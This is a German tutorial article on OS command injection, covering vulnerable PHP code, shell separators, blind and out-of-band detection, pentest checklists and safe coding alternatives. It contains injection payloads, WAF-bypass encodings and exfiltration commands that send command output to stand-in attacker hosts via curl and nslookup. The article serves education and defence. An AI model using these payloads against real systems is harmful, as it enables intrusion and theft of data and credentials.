Command Injection - OS-Befehlseinschleusung
Command Injection tritt auf wenn Benutzereingaben ungefiltert an Betriebssystem-Kommandos weitergegeben werden. Angreifer können eigene OS-Befehle einschleusen und auf dem Server ausführen. Typische Vektoren: Shell-Funktionen in PHP, Python subprocess mit shell=True, Node.js Shell-Aufrufe. Auswirkung: vollständige Systemkompromittierung. Schutz: nie Shell-Aufrufe mit Benutzereingaben, Parameterized Commands, least-privilege für Prozesse.
Command Injection (auch: OS Command Injection) ist eine kritische Schwachstellenklasse bei der Benutzereingaben ungefiltert an Betriebssystem-Shell-Kommandos übergeben werden. Sie ist als OWASP A03:2021 (Injection) kategorisiert und führt direkt zu Remote Code Execution (RCE) - dem schlimmsten möglichen Ergebnis einer Web-Schwachstelle.
Das Grundprinzip
Anfälliger Code (PHP-Beispiel):
// Ping-Funktion für Netzwerk-Diagnosetool:
$host = $_GET['host'];
$output = shell_exec("ping -c 1 " . $host); // UNSICHER!
echo $output;
Normaler Aufruf:
GET /ping?host=8.8.8.8
→ Ausgeführt: ping -c 1 8.8.8.8 ✓
Angriff - Semikolon-Separator:
GET /ping?host=8.8.8.8; id
→ Ausgeführt: ping -c 1 8.8.8.8; id
→ Output: PING... ; uid=33(www-data)...
→ Zwei Befehle ausgeführt!
Weitere Shell-Operatoren:
; Semikolon: immer zweiter Befehl nach ersten
&& AND: zweiter nur wenn erster erfolgreich
|| OR: zweiter nur wenn erster scheitert
| Pipe: Output des ersten als Input des zweiten
$() Command Substitution: $(id)
Alle Operator-Variationen (URL-encoded):
;id → Direkter zweiter Befehl
&&id → Wenn ping erfolgreich, dann id
||id → Wenn ping fehlschlägt, dann id
|id → Pipe zu id
%0aid → Newline + id (URL-encoded \n)
Blind Command Injection
Blind Command Injection (keine Ausgabe sichtbar):
Problem: Output der Befehle nicht in Response sichtbar
Lösung: Out-of-Band-Techniken
Time-Based Detection:
# Sleep-Befehl → Antwort verzögert sich messbar:
host=8.8.8.8; sleep 5
→ Response kommt nach 5+ Sekunden → Injection bestätigt!
Ping-basiert (plattformübergreifend):
; ping -c 5 127.0.0.1 (Linux: 5 Pings = ~5 Sekunden)
& ping -n 5 127.0.0.1 (Windows: 5 Pings)
DNS-Exfiltration (Out-of-Band):
# Burp Suite Collaborator URL nutzen:
; nslookup $(id).attacker-controlled.burpcollaborator.net
oder:
; curl http://$(id).attacker.com/
→ DNS-Request enthält Befehlsausgabe als Subdomain!
→ Command Output exfiltriert ohne HTTP-Response-Zugang
HTTP-Exfiltration:
; curl -s http://attacker.com/?data=$(whoami | base64)
→ Output via HTTP-Parameter exfiltriert
Kontext: auch in Header, Cookies, XML, JSON möglich!
User-Agent: Mozilla; id
Cookie: session=abc; id
XML: <host>8.8.8.8; id</host>
JSON: {"host": "8.8.8.8; id"}
→ Überall wo Userinput in Shell-Befehlen landet!
Plattformunterschiede
Linux vs. Windows Command Injection:
Linux/Unix:
Befehlstrenner: ; | && || \n $()
Nützliche Befehle:
id → aktueller User
whoami → Username
uname -a → OS-Version
ls / → Root-Verzeichnis
cat /etc/passwd → User-Liste
env → Umgebungsvariablen (API-Keys!)
Windows:
Befehlstrenner: & | && ||
Nützliche Befehle:
whoami → User
systeminfo → System-Info
dir C:\ → Verzeichnis
net user → Alle User
net localgroup administrators → Admins
ipconfig /all → Netzwerk
Kontextabhängige Trennzeichen:
In URL-Parameter: %3b (;) %7c (|) %26 (&)
In JSON-String: " beenden + Trennzeichen + Befehl
In XML: CDATA-Escape oder Encoding
Erkennung im Pentest
Command-Injection-Testing:
1. Einfache Tests (direkte Ausgabe):
;id
&&id
|id
$(id)
Erwartete Outputs (Linux):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Injection bestätigt!
2. Blind Detection (Time-Based):
; sleep 5
& timeout /T 5 (Windows)
→ Antwortzeit > 5s? → Injection!
In Burp Suite Intruder: Response-Zeit messen!
3. Out-of-Band (Burp Collaborator):
# Collaborator-Subdomain generieren lassen
; curl https://abc123.burpcollaborator.net/
→ HTTP-Request bei Collaborator empfangen? → RCE!
4. In allen Eingabefeldern testen:
□ GET/POST-Parameter
□ HTTP-Header (User-Agent, Referer, X-Forwarded-For)
□ Cookie-Werte
□ Dateinamen bei Datei-Upload
□ JSON/XML-Felder
□ E-Mail-Adressen, Hostnamen, IPs
5. Encodings testen (WAF-Bypass):
;id → %3bid → %253bid (double-encoded)
;id → $(id)
;{id,} (Brace Expansion in Bash)
Schutzmaßnahmen
Sichere Alternativen zu Shell-Aufrufen:
PRINZIP: Niemals Benutzereingaben in Shell-Befehle übergeben!
Stattdessen: Language-native Bibliotheken nutzen!
PHP - Statt shell_exec():
// UNSICHER: shell_exec("ping -c 1 " . $_GET['host'])
// RICHTIG - Input validieren + escapeshellarg():
$host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
if (!$host) die('Invalid IP address');
// Nur validierte IP-Adressen weiterverarbeiten
// Wenn Shell-Aufruf unvermeidbar:
$safe = escapeshellarg($_GET['host']);
$output = shell_exec("ping -c 1 " . $safe);
// escapeshellarg: umschließt mit ' und escaped alle Sonderzeichen
Python - Statt os.system():
# UNSICHER: os.system("ping " + user_input)
# SICHER - subprocess mit Array, kein shell=True!
import subprocess
import ipaddress
try:
ipaddress.ip_address(user_input) # IP-Validierung
except ValueError:
raise Exception("Invalid IP")
result = subprocess.run(
['ping', '-c', '1', user_input], # Array: kein Shell-Parsing!
capture_output=True, text=True, timeout=5
# shell=False (Standard!) → KEIN Shell-Interpreter!
)
# Jedes Element im Array ist ein separates Argument
# Kein Semikolon, kein &&, kein | möglich!
Node.js - execFile statt Shell-Funktionen:
const { execFile } = require('child_process');
// execFile ruft Programm DIREKT auf - KEINE Shell!
// Kein Shell-Parsing → keine Injection möglich
execFile('ping', ['-c', '1', validatedHost], (error, stdout) => {
// validatedHost muss vorher als IP validiert werden!
});
Java:
// ProcessBuilder: Array-basiert, keine Shell
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", validatedHost);
pb.start(); // Kein Runtime.getRuntime().exec("ping " + host)!
Allgemeine Schutzmaßnahmen:
□ Whitelist-Validierung: nur erlaubte Zeichen (IP-Regex, Alphanumerisch)
□ Least Privilege: Webserver-Prozess ohne root-Rechte!
□ AppArmor/SELinux: Prozess auf erlaubte Syscalls beschränken
□ Sandboxing: Container/Chroot für externe Prozesse
□ WAF: bekannte Injection-Patterns filtern
□ Monitoring: unerwartete Prozesse aus Webserver-User → SOC-Alert
□ Grundsatz: Shell-Aufrufe in Webanwendungen vermeiden!
Für Ping/DNS: Native-Bibliotheken nutzen (Net::Ping, socket)